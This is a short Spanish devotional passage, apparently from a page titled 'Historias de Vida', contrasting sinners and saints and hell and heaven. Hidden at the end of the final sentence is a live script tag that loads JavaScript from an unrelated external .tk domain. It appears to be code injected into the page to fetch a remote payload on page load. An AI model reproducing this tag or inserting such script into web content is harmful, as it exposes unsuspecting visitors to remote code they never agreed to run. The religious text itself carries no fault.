Las Escrituras no sólo dejan en evidencia a los pecadores perdidos. También aclaman a los santos redimidos. Los santos hombres de Dios no sólo se lamentan de las debilidades del hombre, sino que proclaman el poder de Dios. Las sagradas páginas no hablan solamente de un infierno que evitar, resplandecen con el relato inspirado de un cielo que ganar.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Historias de Vida
#39